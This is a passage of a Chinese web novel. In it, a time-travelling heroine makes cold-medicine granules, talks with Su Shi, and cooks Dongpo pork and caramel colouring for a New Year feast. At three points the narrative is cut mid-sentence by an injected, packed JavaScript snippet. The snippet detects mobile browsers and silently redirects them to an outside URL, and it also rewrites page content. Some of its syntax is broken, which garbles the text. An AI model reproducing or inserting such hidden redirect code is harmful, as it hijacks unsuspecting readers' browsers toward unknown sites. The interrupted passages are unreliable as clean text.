王文茵本来想说冲剂就是后世最常见的感冒灵颗粒之类的熟药，但考虑到苏轼还在，不便将自己穿越的事挑明，婉转道：“通常人若是感冒发烧是不是需要从药铺买药回家煎煮后方能服用？” 赵元宁点头。 “而冲剂就是将中药熬制成浓缩颗粒或粉末状，按定量存储，感冒发烧的时候拿出来用热水一冲便可化作一碗中药直接服用，方便快捷，可谓是居家旅行、行军打仗必备之良药。” 赵元宁惊喜万分，“若真能将常备药物制成冲剂，那岂不要卖爆！小娘子可知这冲剂该如何制作？” 67. 第六十七章 王文茵虽然不懂药理，但她曾在后世的视频网站上看人做过感冒灵颗粒冲剂，其实原理很简单，但若是没有高人指点要突破这层认知比跨越天堑还难，所以信息差就是穿越者王文茵掌握在手中最大的利器。 “我大概知道怎么做，但还没试过，需要先尝试一下。”王文茵习惯性不把话说满。 赵元宁知道王文茵习惯在事情没出成果前会有所保留，不过既然她能提前预告，就表示她是有把握做成的，顿时心下狂喜，道：“小娘子需要什么原材料我去准备就是。” 王文茵很默契地看了赵元宁一眼，“那就麻烦郎君帮我准备几包治疗感冒的中药材，再弄一些糖霜来，记住要糖霜，不要麦芽糖、蜂蜜或蔗浆、沙糖之类流质的糖。” 赵元宁当即应下。 ***** 天色已近黄昏，苏轼还要赶回汴京城，便同王文茵先行道别。 王文茵将苏轼送往山脚下，临别前苏轼突然朝王文茵做了个长揖，把王文茵吓了一跳。 “大人这是做什么，要折煞我吗？” 苏轼直起身赞许地看着王文茵，不无感慨：“阿茵，我要向你深表谢意。” “大人何出此言？”王文茵不解。 苏轼看向远处的被落日染红的云霞，幽幽道：“两年前，我偕妻儿奉诏从黄州赶赴汝州就任，途中我那幼子干儿因不堪旅途劳顿不幸夭折。彼时我身上已无盘缠，兼之伤子之痛，那一刻我突然发现原来自己活得竟如此失败。我一向自诩洒脱，其实不过是自欺欺人，回顾前尘往事我一直都放不下、忘不掉，耿耿于怀又无从解脱。” 王文茵心里一阵难过，想说几句安慰的话又不知从何说起，“大人……” “今日之前，我如游魂行走人间，不知自己从何而来，又将去往何处。”苏轼遍布风霜的脸上展露出满足的笑容：“是阿茵你又让我重新爱上了生活。” 王文茵一脸不可思议，指着自己道：“我吗？” 苏轼肯定地点了点头，“你身处绝境非但没有自暴自弃，还想尽办法自救，不但自救还对同样处于困境中的流民施以援手。你带着身边的人风风火火创业搞钱，活得像一团火，让人不由自主想从你这里取暖。你说的每一句话与我而言犹如醍醐灌顶，我为自己沉溺于自怜自哀感到惭愧，你让我知道原来我还不算废物，我还可以为百姓为天下苍生做很多有意义的事。” 王文茵满心感动，不是因为苏轼夸她，而是为他重新振作感到由衷高兴。 “大人有所不知，我是去鬼门关走过一遭的人，既然老天让我活下来，那我便要好好活着，活得更有意义，更加精彩，不然怎么对得起阎王爷刀下留人呢。” 苏轼哈哈大笑，“你说得对，你我都是死过一回的人，死里逃生的人理应活得更通透才对。整日介想那些是非功过做什么，不如想想接下去该做点什么有趣的事才对，是不是？” 王文茵捂掌大笑，“大人只是一时想不开钻了牛角尖而已，既然已经想通了，那便放手去做想做的事就是了。” 苏轼心情舒畅，长出一口气，“以后还是要跟你们这些年轻人多多交流，跟你们在一起感觉自己都变年轻了。” “我这里随时欢迎大人过来玩。”王文茵提议道：“再过几日便是除夕了，大人若是不嫌弃不妨来丰收村同我们大家一起守岁过年，粗茶淡饭总是有的。” “粗茶淡饭？哈哈哈，差点我就信了。”苏轼用手指点了点王文茵，揶揄道：“你可知你今日做的‘酥不腻烤鸭’哪怕是跟宫里的御膳比也不逞多让，若连这都叫粗茶淡饭，官家第一个跳出来反对。” 王文茵嘟嘴，“官家又不可能吃得到我做的这些乡野小食，怎知他会喜欢？” “据我所知，宫中管事经常偷偷摸摸从宫外给官家带一些宫里没见过的点心回去品尝。”苏轼嘿嘿笑：“若是你哪天将‘酥不腻烤鸭’开到汴京城去，那就有机会让官家也尝到咯。” 王文茵拍手道，“那感情好，若是真有那么一天，我必定要在烤鸭店门口挂一块招幌，上书‘官家钦点酥不腻烤鸭’几个字做活招牌。” 苏轼笑着点了点王文茵，“就你这丫头鬼灵精，连官家都不放过。” 王文茵嬉皮笑脸，“我不但要用官家打广告，我还要用苏大人打广告呢。” 苏轼不以为忤，好笑道：“你打算用我打什么广告呢？” “我呀打算在年三十晚上做一道豚肉美食，到时候大人若是吃了满意就得答应我一件事，可好？”王文茵神秘兮兮道。 苏轼不反对，他素来喜欢吃豚肉（猪肉），皆因豚肉价廉，是穷人都吃得起的肉食。只是豚肉不容易料理，一般人不会处理很容易有股腥臭味，所以爱吃的人不多，跟金尊玉贵的羊肉和物以稀为贵的牛肉比，自然是贵族阶层看不上的低贱之食。 “那我便拭目以待了，看看阿茵能把豚肉做成什么样的美食。”苏轼乐呵呵地应道。 ***** 赵元宁是个效率派，尤其在搞钱这件事上，翌日他便亲自送来了治疗感冒的中药材和糖霜。 “这几贴感冒药是按照我兄长给宫里娘娘们配置的药方抓的，药效轻但见效快。这一包是糖霜，我按小娘子你说的已经提前叫人磨成糖粉了，不过加糖霜是为了什么？”赵元宁有些摸不着头脑。 王文茵谢过后从赵元宁手中取过药材包，“自然是为了口感，你想啊中药多苦啊，成年人都要捏着鼻子才能喝得下去，更何况是孩子。加了糖霜的感冒冲剂就不同了，喝起来甜滋滋的，小孩都愿意喝，更何况是大人。” 赵元宁很容易被说服，他相信王文茵这么做一定有她的道理，毕竟她是穿越后世见过世面的人，懂得比他多，听她的准没错。 王文茵让赵元宁在外头等，自己则躲进小灶房内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15112055|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制作感冒灵颗粒冲剂。 赵元宁做事很细心，昨日王文茵让他将药材尽量碾碎一些，他果然没辜负她的要求，将所有药材都切碎磨细，但保持碎粒状，这样浸煮起来药材能充分融入水中。王文茵将其中一包药放入铜锅中，加入适量的泉水没过药材，先浸泡一刻钟后再放置到小炉子上加热至煮沸。【注1】 为了提取药材中的有效成分，煮药的热水须保持微沸状态一段时间后，再小火熬煮约半个时辰（现代一个小时）。随后用麻布过滤药渣，得到了第一锅提取液。按此方法将药渣再煎煮两次，直到煎液味淡为止。最后将所有的提取液合并，再加热浓缩成浓稠的药汁，这一套操作便是热浸法熬煮提取药汁。【注1】 正常来讲浓缩的药汁还需要经过醇沉这一步骤，也就是加95%的乙醇静置沉淀两三个时辰（4-6个小时）后，将清液用抽真空的方式降低水的沸温度使水蒸发干燥后减压浓缩方才能得到清膏。但这个时代还没有抽真空的机器，那就只能一切从简，略过这一步，直接将浓缩的药汁与糖粉、淀粉按比例混合均匀，再加入适量烧刀子（白酒、蒸馏酒）搅拌成软材。【注1】【注2】 现代人做感冒灵颗粒冲剂用的辅料其实是糖粉和糊精。糊精是淀粉的水解产物，用来做水溶性颗粒效果跟淀粉差不多，所以王文茵便用自制的绿豆淀粉代替了糊精。当然后世制药也不会用烧刀子代替乙醇也就是酒精的，但北宋还没有工艺可以合成酒精这类有机化合物，王文茵便用自己蒸馏的烧刀子代替，条件简陋的情况下用平替也无不可。【注1】【注2】 最后一步便是将软材制成颗粒，这个比较简单，只需将捏成小团的软材在细目的筛网上不断揉搓，漏下去的小颗粒便是感冒灵冲剂了，不过这些颗粒还需要平摊晾干才能装瓶。【注1】 王文茵将做好的第一批感冒灵颗粒倒入小碗中，端出去给赵元宁过目。 “这便是你说的感冒灵颗粒冲剂？”赵元宁跟看西洋镜似的反复端详，眼前这深棕色的小颗粒看起来极其普通，闻一闻却有一股药香味，赵元宁捻起一小撮放进嘴里尝了尝，唔，是甜甜的中药味，确实比苦涩的更容易入口。 “直接吃比较苦涩，加水冲泡后饮用比较适口。”王文茵将热水冲入碗中，再用调羹搅匀融化碗底的颗粒，道：“晾一会儿你再喝口试试。” 赵元宁按照她说的，将小碗举起来用嘴吹了吹，感觉差不多了便啜了一口，似乎有些不敢相信一般又喝了一大口，咂咂嘴道：“你要不说我都不敢相信这是用来治病的药，喝起来就跟饮子似的。” “这就是饮子，不过是用来治病的饮子。”王文茵笑道：“这样的药别说大人，连孩童也不会抗拒了，是不是？” “是！是！”赵元宁顿顿顿将一碗感冒药都喝了下去，意犹未尽道：“小娘子，咱们什么时候批量生产这种感冒灵颗粒冲剂？我已经迫不及待了。” 68. 第六十八章 赵元宁觉得王小娘子就是一个聚宝盆，往里头倒点什么就能给你往外吐金子。最初的时候，他也曾将信将疑过她的穿越说，毕竟这事儿除了当事人，旁人哪能辨得出真假。但当她拿出越来越多这个时代还没出现过的新鲜事物，他便毫无保留地信了。许是因为他本来就是个有点浪漫主义幻想的人，这也跟他是家中次子有关，没有生存的压力，也不需要继承家族传承的衣钵，只需做他喜欢的事就好。 上一次合伙开香料铺子已经让他尝到了甜头，这次的感冒灵颗粒冲剂更是让他大开眼界，他好歹也是医学世家出身，竟然不知道苦涩难喝的中药竟然可以改装成便于储藏携带、好喝如饮子的冲剂，这要是推广开去那岂不是能让他们赵太丞家药铺扬名天下，传承百年？ “小娘子，不如咱们马上就投资量产这感冒灵颗粒冲剂吧？”赵元宁兴致勃勃提议。 “做这个感冒灵颗粒冲剂虽不难，但有两件事得提前预备好。”王文茵道。 “哪两件事，你说，我去准备。”赵元宁拍着胸脯保证：“我赵四郎今后便以小娘子马首是瞻，你尽管吩咐便是。” 既然如此，王文茵便也不客气，给赵元宁布置任务：“首先第一件便是这感冒灵颗粒冲剂要让你兄长先鉴定，并找人试药，我会按照配方给的分量分成若干份，这样原先一包药的药效和制成冲剂后一包药的药效便能做出对比，以便日后试药时清楚药的分量和效用。” “明白，我会一字不漏转告兄长。”赵元宁将王文茵说的每一个字都牢记在心。 “第二件事则是需要准备大量的糖霜。冲剂之所以口感比中药好，主要原因是其中加了糖霜。但如今市面上糖霜价格奇高，若是把中药做成冲剂便需要大量的糖霜，这便会增加冲剂的成本。成本太高普通人买不起，辛苦做出来的冲剂岂不是只能闲置？” 赵元宁被泼了一瓢冷水，扼腕叹息：“糖霜奇货可居，权因制糖技术掌握在少数人手里，汴京地区更是没有一家制糖作坊会做糖霜。” “所以啊，若是想降低冲剂的成本，首先必须突破糖霜这一关。” 聪明如赵元宁马上就听出了话外音，试探道：“莫非小娘子知道糖霜的制作工艺？” 王文茵也不否认，“我的确知道糖霜的制作工艺，但需要先找到制糖的原材料，也就是甘蔗。” “这你可就问对人了！”赵元宁大喜道：“我恰好知道何处有甘蔗林。” 王文茵挑挑眉，打趣他：“这你都知道，你应该改名叫‘江湖百晓生’。” 赵元宁笑纳了，“我不是爱吃甜食嘛，无意中得知汴京附近有个村子里种植了好几片甘蔗林，便经常跑那儿去买新鲜的甘蔗回来榨汁喝。这新鲜的甘蔗汁比市面上售卖的蔗浆可好喝太多了，啧啧。” 王文茵心说，真是天助我也，看来有了赵元宁这个吃货搭档以后想找什么原材料倒是简单多了。 “成！那你便去将甘蔗收罗回来。”王文茵嘱咐他：“有多少就收多少，越多越好。” “我马上就去！”得了吩咐的赵元宁像是打了鸡血一般欢快地去采购甘蔗了。 “嗳——别……”王文茵本想说不急在这一时，可话还没说出口赵元宁就已经跑没影了。 张二嫂笑呵呵上来道：“小娘子，还是让赵四郎去吧，他就是个闲不下来的主。” 王文茵失笑，“倒也是，他这效率跟踩了风火轮似的，谁也赶不上。” “这儿若是没啥事，我就先回朱仙镇去了，年后汴京那边的美容铺子要开张，我还得抓紧时间培训几个新店员。” 王文茵握住张二嫂的手，“辛苦婶子了。” “嗐，辛苦啥，都是自家的事业，我呀现在浑身都是干劲，停都停不下来。”张二嫂想起什么似的道：“听说那天被我撞见的流民跑了？” 王文茵嗯了一声：“王叔去县衙打听了，是个冒名顶替的，已经不知道跑哪儿去了。” 张二嫂气得牙齿咯咯响：“都怪那个王大崔！连个人都看不准，白白放了一条狼进来，要我说那人定是眼馋咱们的米线买卖，来偷技术的。” “王叔虽有失职之责，但若是有人存心想来偷技术，防是防不住的。” 张二嫂犯愁：“倒也是，只有千年做贼的，哪有千年防贼的。但若是对家把咱们做米线的技术偷去再另开一家米线作坊，岂不是会冲击咱们的米线买卖？” “若只是良性竞争倒也没什么问题，怕只怕偷技术的人真正的目的是想打垮咱们的米线作坊。”王文茵思忖道。 “那可怎么办？”张二嫂急了：“这间米线作坊可是咱们当初创业的基石呀，关键是现在还养着这么多人呢。” 王文茵淡定道：“婶子别担心，我自有办法应付。眼下还有件事要麻烦婶子替我去办。” 见王文茵一脸胸有成竹的样子，张二嫂便放下心来，她知道以小娘子的聪慧定然早有应对的法子。 “小娘子尽管吩咐。” 王文茵附在张二嫂耳边如此这般道，张二嫂连连点头应是，脸上渐渐露出喜色。 “小娘子放心，我一定把这事儿办妥了。” “婶子办事我放心。”王文茵笑道：“再有两日便是除夕夜了，店员若是没有家人在汴京，便让她们来静缘庵过节吧。” “哎好！”张二嫂紧紧握住王文茵的手，感慨：“先前我还觉得今年这年要过不去了，想不到短短时间人生就有了峰回路转的大变化，能认识小娘子你是我的幸运。” 王文茵揉着张二嫂的手道：“婶子，有你在身边协助，也是我的幸运，是我们彼此成就了对方。” 张二嫂鼻子一酸，动容道：“对，小娘子说得对！不止我，还有王大崔、周婆子、穆叔、阿萍一家、妙善师太、静尘师太、鲁大他们那些人，我们大家团结一心才能活的更好！” **** 年二十九这日，兴隆堂香料铺子同李记米线只营业到下午便挂出了闭门歇业的牌子，王文茵建议大家过年休息三日，张二嫂同阿萍却认为新年来朱仙镇的游人多，是营业旺季，不能错过，一致决定只休息除夕这一日，大不了初一晚点开店。 王文茵拗不过她们，只能随她们去了。 倒是米线作坊可以放假到年初三，员工们都兴奋不已，年前王文茵不但给大家结清了工钱，还额外发了年终奖作为过年的大红包。文老夫人赞助的茅草房都已建成，第一批来丰收村定居的流民都在年前搬进了新房子，家家户户门上都贴了大红春联 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116609|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，直叫新来打工的流民羡慕不已。 这批新来打工的流民听说是文老夫人出钱盖的茅草房，便动了也想在丰收村定居的心思，结果却被王文茵一番话打消了念头。 “文老夫人出钱为鲁大他们盖房子是情分，不是义务，是老夫人心怀慈悲，但咱们自己是不能有非分之想的。大家都有手有脚，在米线作坊打工便能赚钱养家，何愁攒不起钱盖房子呢？”王文茵委婉道：“与其等着别人施舍，不如靠自己努力不是更好？” 被说中心思的流民们惭愧的低下了头，但很快其中一人便站起来应和道：“小娘子说得对！我们靠自己一样能赚钱盖房子！” 众人内心的自尊被点燃了，纷纷点头表示靠自己赚钱盖房子反而更有安全感。 鲁大见状也站起来表态：“虽然我们这些第一批来此定居的人是受了文老夫人的恩惠才有房子住，但我们也不能白受这恩惠！我们大家商量过了，文老夫人出了多少银子给我盖房子，我们大家一起捐赠同等数额的银子作为慈善基金，专门用来帮助跟我们一样贫苦无依、流离失所的流民！” 这番话激起了在场所有人的善意，大家纷纷鼓掌表示赞同。 见此情景，王文茵十分欣慰地笑了。 “穷则独善其身，达则兼济天下。”有人在她身后轻轻说道。 王文茵蓦然回首，故意板起脸责备他：“七衙内很喜欢躲在背后吓唬人吗？” 文安世一脸无辜，“我适才分明已经咳一声提醒小娘子了，莫非小娘子没听见？” 王文茵撇嘴：“适才大家都在鼓掌，我怎么可能听得清。” 文安世十分识趣地作揖致歉：“令小娘子受惊，是某的错，还望小娘子海涵。” 王文茵呼哧笑道：“我开玩笑你又当真了，你这人呀就是太正经，一点幽默感都没有。” 文安世心下暗暗好笑，却不说破，故意逗弄她：“那我便听小娘子的话学着不正经一些可好？” 这话听起来就很暧昧，王文茵脸上一红，啐道：“你正经不正经与我何干？” 文安世执意道：“怎会与你无关？难道我的心意你还不清楚吗？” 王文茵简直无语，跺脚道：“你若再胡说我便不理你了！” “我就知道你没心。”文安世一脸伤感，叹道：“我明日随祖母回汴京，过完年便要进国子监去念书，今后也不知什么时候才能与你相见，你一点都不懂我……” 他这般真情流露，倒是让王文茵动了恻隐之心，抿唇道：“汴京城离此地又不远，见面有何难。” 文安世大喜：“我就知道你口是心非！你可知我答应过祖母，定要凭自己本事考取功名，如此方能护你周全。” 王文茵失笑：“你安心念书便好，不用管我，我能照顾好自己。” “你可真是……”文安世顿了顿没再说下去，反正他有的是耐心等她回应。 为免他想太多，王文茵调转话头道：“老夫人明日便要回京，我怕是没时间去送你们，不过今晚上有道美食想孝敬她老人品尝。” “什么美食？”经过上次的酥不腻烤鸭，文安世已经彻底被王文茵的厨艺征服了。 王文茵眨眨眼：“说出来就不叫惊喜了。” 69. 第六十九章 绍兴花雕 都说宋朝的猪肉不好吃是因为这个朝代的猪还没经过阉割，所以吃起来有一股子腥臊味，加上民间养猪的百姓主要靠潲水和野菜来喂猪，故此猪肉便被称为贱肉，其实不完全对。首先古代养猪不仅是为了吃肉，更是为了积肥，北魏的《齐民要术》中记载当时的人们已注意到放牧与舍饲结合的饲养方式，到了唐朝官办的养猪场数量更是多达上千个。【注1】 《礼记》上说:未阉割的猪皮厚毛粗,叫“豕”,阉割后的猪长得膘满臀圆,叫“豚”。《易经》中有记载:“豶豕之牙吉”，意思就是阉割了的猪性子会变得驯顺。可见阉割术是商、周时期养猪业的技术性突破。【注1】 但不知道为什么，到了宋朝给猪做“去势”手术的劁（qiao）猪匠又变少了。“去势”手术就是阉割猪的□□或卵巢，在古代也叫“劁（qiao）猪”，东汉时期就有了，据说是得自华佗高超的外科手术真传，后来成为七十二行中的一门营生手艺。【注1】 给猪“去势”除了让猪肉吃起来没那股腥臊味，更是为了让猪长得更肥，出栏更早。实践证明，不劁的猪吃的很多食物并没有转化为肥膘。而且，不劁的猪与劁过的猪相比，还要晚出二到三个月栏。【注1】 王文茵已经想好了，今后自己农场养的猪，除了种猪和下崽的母猪，其他小猪都必须“去势”。只是眼下能买到的猪肉都是没有经过阉割的，为了祛除这股子腥臊味可得费一番功夫。 猪肉最好吃的做法当然必须是红烧肉，但王文茵今日要做的却是享誉后世的“东坡肉”。这“东坡肉”的做法究竟是苏轼发明的，还是后世的人经过改良后自创的，已经无从得知，毕竟除了一首打油诗《猪肉颂》外，苏轼并没有留下完整的菜谱给后人。 “东坡肉”是红烧肉的一种，但红烧肉却不一定是东坡肉，或者说“东坡肉”是贵族版的红烧肉，红烧肉是平民版的“东坡肉”。 做“东坡肉”首先第一步便是选肉，标准的五花肉，三层肥三层瘦，每层肉之间都有富含胶原蛋白的筋膜相连，经过长时间的炖煮烹饪后便是口感粘稠软糯的胶质，入口即化形容的便是这种美妙滋味。【注2】 五花肉分为上五花和下五花，上五花肥瘦层次分明，仅有一块通脊，适合做狮子头；下五花肥瘦相间，层次分布均匀，肥肉和筋膜包裹着瘦肉，最适合做红烧肉、东坡肉。为了犒劳全体员工，王文茵亲自去养猪场挑了一头最肥的猪回来，请十里八乡最好的屠夫将肥猪宰杀后分成若干部位，打算做成不同风味的美食分享给大家。【注2】 周婆子在王文茵的指点下将猪身上两大块最好的下五花肉，分别用火燎焦表皮后放入冷水中浸泡，并用小刀刮去猪皮上烧焦的猪毛和脏污的油脂。再将整块肉冷水下锅，加入适量酒和葱段、姜片去腥，中火焯水撇去血腥沫后捞出沥干水分，肉皮朝上放入蒸屉中。【注2】 王文茵取来一只陶盘扣压在肉块上，周婆子看着新奇，便问：“在肉上扣一只盘子是做什么用途？” “定型。”王文茵解释给她听：“用蒸的方式给肉定型，一则是为了做出来的肉卖相好看，切块的时候更方正，另一则是用盘子的重量压出一些油，使大块的肉内部保留更多的脂肪和胶质，避免风味流失，吃起来口感才更多汁。”【注2】 原来如此。 周婆子觉得自己大半辈子在大户人家灶房里做工学会的东西还没这两个月跟在王小娘子身边来得多，所以啊只有半桶水才喜欢藏着掖着，像王小娘子这样有真本事的人可会不吝啬将自己的技术传授给旁人。 “经过定型冷却后的五花肉，修理清楚边角再切成大方块。”王文茵用手比划着大小给周婆子看。 周婆子依她吩咐将肉切成约五公分大小的方块，再用稻草杆粽绳将肉扎紧，以防炖煮的时候酥烂松散不成型。 “一切都是为了摆盘好看。”周婆子理解道：“先头我做工的那户大人家逢年过节虽然也做大菜，但还真没有小娘子做得这般精致。” 王文茵笑笑，“美食美食，不仅色香味要全，还得要有型，权因人吃食物不止是用嘴，眼睛、鼻子也要一道儿享受。” “可不是嘛，先头没银钱吃东西只为填饱肚子，如今跟了小娘子才是真正享受到了食物的美妙之处。”周婆子发自内心感叹：“老婆子我这辈子临老能有这样的好日子过，就是明日死了也无憾咯。” “呸呸呸！周婆子大过年的你说什么晦气话咒自己呢。”王大崔听不下去跳出来打断她。 周婆子轻轻扇了一下自己的嘴，“哎哟，是我说错话了，看我一得意就忘了形，你们就当没听见哈。” 王大崔将几坛酒搬进灶房，禀告王文茵：“小娘子，这几坛酒都是苏大人遣人送来的，听说都是窖藏多年上好的花雕酒呢。” 宋朝的酒大抵分为三类：一类叫“小酒”，通常是春天酿造，秋天出售；一类叫“大酒”，一般是冬天酿造，夏天出售；最后一类叫“老酒”，是酿造好以后再密封窖藏起来，经过多年后再取出来开封饮用。“小酒”和“大酒”因为酿造时间短，酒里经常残留着很多酒糟，卖的时候就需要用酒筛子过滤一下；而“老酒”因为需要长时间的酿造，会在窖藏之前便过滤干净。【注3】 花雕酒又名状元红或女儿红，相传起源于六千年前的山东大汶口文化时期，到了宋朝人们为了保存食物开始酿造黄酒，花雕便是其中一种。“花雕”原本指的是一种密封性良好，能够长期保存酒液的陶罐，后来便成为了这种酒的代名词。每个地方的“花雕酒”酿造工艺都不尽相同，在众多的花雕酒品类中最负盛名的便是绍兴花雕酒。【注3】 绍兴花雕酒在汴京地区可是稀罕物，市面上基本买不到，不过好在苏轼的弟弟苏辙曾担任过国营酒厂的厂长，所以当苏轼问王文茵除夕夜可需要他带什么来的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122002|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，王文茵便同他讨要了一坛绍兴花雕酒，说是做菜用，没想到苏轼居然送来了五坛花雕。【注3】 要知道苏轼在京做官收入微薄，住的房子是租的公租房，身边也只带了一个仆役。而这五坛花雕酒的市售价相当于他半个月的薪水，王文茵着实为他感到心疼，可又不能拒绝他的一番好意，暗自打算要想个合情合理的法子为他增加一些副业收入。 “唷，这花雕酒可是稀罕物呐。”周婆子是个识货的，她先前的主家也好酒，有回过节宫里赏赐了一坛花雕酒，宝贝得跟什么似的，特地在院子的桂花树下埋了起来，说是要等嫡长女出嫁才挖出来喝。谁曾想还没等到女儿长大，自个便犯了事，抄了家，那坛还没来得及开封的花雕酒也被抄家的官兵砸了个粉身碎骨。 王文茵将其中一坛花雕酒打开，无须靠近，浓郁的酒香便随即四散开来，充盈了整间灶房。 从未喝过陈酿花雕的王大崔深吸一口，砸砸舌，一脸陶醉道：“这怕不是神仙才能喝的琼浆玉液吧？” 周婆子也凑过来闻了一口，肉疼道：“小娘子真舍得用这么好的酒做吃食呀？” 王文茵毫不犹豫，答曰：“用美酒做美食才是美酒最正确的打开方式。” 周婆子跟王大崔虽然听不明白王文茵那些古里古怪的话，但他们却对这用上好的花雕酒做出来的豚肉充满了好奇。 “不知这豚肉该有多好吃哇？”王大崔舔了舔嘴，在他对美食贫瘠有限的认知里，迄今为止最好吃的大概就是小娘子做的酥不腻烤鸭了，难道这豚肉还能盖得过烤鸭？ 周婆子是见过市面的，但她也无法想象豚肉到底能有多好吃，据她所知最好吃的肉应该是羊肉，反正从前的东家说过羊肉那是经过官家认证过的美味。她也曾有幸尝过羊肉的滋味，只是年代久远，已经有些记不清了，但若是让她再尝一口，定然是能分出高下的，谁叫她有一条好舌头呢。 王文茵但笑不语，一道美食是否好吃对每个人来说都是因人而异的，品味美食本身就是很孤独的一件事，这世上怕是很难找到口味完全一样的两个人。但她依然对这道东坡肉很有信心，毕竟一道北宋发明的菜肴，经过一千多年的改良并不断被印证且被大多数后世的人认可，用来征服这个朝代的人应该不成问题吧？ “这五花肉要做成色香味俱全就必须先上色。”王文茵一边操作，一边解释给周婆子听。 给红烧肉上色的原理主要是两类反应，一类是由蛋白质和糖共同起作用的美拉德反应，另一类则是仅需要糖的焦糖反应。美拉德反应是先煎后炖，这么做不但能蓖除一部分脂肪，在口感上也比焦糖反应要更好；焦糖反应就是传说中的炒糖色，糖色除了能提供具有焦糖风味的红烧口感，还能让红烧肉在卖相上更鲜亮夺目，增加视觉享受。【注2】 “今日我便给你们展示做豚肉好吃的不传秘籍——炒糖色。”王文茵煞有其事道。 70. 第七十章 千古名菜 炒糖色对爱吃红烧肉的人来说那简直就是这道菜的灵魂所在，但其实做东坡肉并不一定需要炒糖色，只是王文茵自己酿造的北宋第一缸酱油还未成型，为了让东坡肉的色相更完美，她便决定加入糖色这道调味来增色。 周婆子在灶房里混了大半辈子，还从未听说过有炒糖色这回事，究其原因是这个时代糖作为调味品还十分精贵稀缺。别说白砂糖这种对后世的人来说见怪不怪，甚至被认为是不健康的调味料，就连糖霜、蔗浆都是稀罕物。市面上最常见的，普通百姓能用得起的就是麦芽糖跟蔗浆这两种流质的甜味剂，像蜂蜜、糖霜之类的那都是大户人家和上流社会的贵族们才享受得起的奢侈品。 倒不是宋朝没有甘蔗，其实这种原产地在印度或新几内亚的植物早在战国时期就从东南亚传入了中国的南方热带地区。先秦时期，甘蔗被称为“柘”，到了汉朝时期才出现“蔗”这个字。《楚辞·招魂》中有记载“胹鳖炮羔，有柘浆些”，说明在当时蔗浆已经被用作甲鱼、羔羊肉的调味品了。【注1】 只是受制于制糖技术，一直到唐朝甘蔗才被推广到全国，宋朝时期，江南各省随处可见甘蔗种植地。新鲜的甘蔗不易保存，通常只有冬季才能在汴京的水果批发市场上见得到。而由甘蔗榨取的新鲜蔗浆又不利于长途运输与保存，于是汴京附近便也出现了种植甘蔗的农户。【注1】 相比于蔗浆，麦芽糖反而更容易获取。麦芽糖也叫“饴”，是先秦时期最早出现的第一种人工糖，由米、大麦、粟或玉蜀黍等粮食经发酵而制成。虽然获取容易，但因为生产过程中需要消耗大量的粮食，所以对普通老百姓来说糖一直都是奢侈品，普通人家中其实很少储备这种调味料。【注1】 眼见王文茵将一大把糖霜倒入铜锅中，准备翻炒糖色，周婆子心头的肉不由自主地抖了抖，“小娘子做的这道红烧肉可真精贵，又是花雕酒，又是糖霜的，感情调料比肉还费银钱。” “花雕酒贵是因为酿酒需要浪费大量的粮食，加上老酒窖藏时间长，价高也属合理。至于糖霜嘛，若是突破制糖的技术壁垒，价格自然是可以降下来的。” 王文茵手上不停歇，熟练地用铲子在热锅底翻炒糖霜，搅拌均匀使糖受热起小泡后，让周婆子帮忙将铜锅从炉子上挪开。此时还需继续翻炒，至糖浆冒大泡后再加入温水成酱红色汤汁，如此炒糖色便成了。【注2】 周婆子舀了一小勺糖色汤汁放进嘴里尝了尝，诧异道：“咦，这糖霜翻炒过后竟然有股子焦香味儿，比之先前也没那么甜了。” “这就是焦糖味儿。”王文茵道：“若是在甜品上撒一层糖霜，再用火燎焦脆了吃，那口感别提多美妙了。” 王大崔口水都快掉下来了，“小娘子说的这甜品叫啥呀？” “唔……焦糖布丁。”王文茵灵机一动，这焦糖布丁需要的原材料比较简单，鸡蛋、牛乳和糖霜，正好手头有现成的，可以试试。 周婆子忍不住呵斥王大崔：“尽惦记着吃，没见小娘子正忙着吗？” 王大崔嘿嘿笑，“我就那么一问，谁说我想吃了！” 王文茵却摆手道：“正好我也想吃，等下得空我做来给你们尝尝。” 王大崔冲周婆子扮了个鬼脸，嬉皮笑脸道：“听到没，小娘子说要做给咱们尝尝，嘿嘿。” 周婆子虽然也好奇焦糖布丁究竟是啥味儿，但碍于面子不得不摆出一副“我才不像你一般没见识”的高贵冷艳范来，撇嘴道：“就你嘴馋。” 嘴馋就嘴馋，只要给好吃的，王大崔才不在乎被周婆子数落哩，巴结道：“小娘子，有什么我能帮得上的？” 王文茵明白王大崔的心思，生怕被周婆子念叨他吃白食不干活，想找点事做，便让他将前阵子在朱仙镇上买的一口大砂锅拿去刷洗干净，等下炖肉用。 王大崔得了令乐呵呵去了。 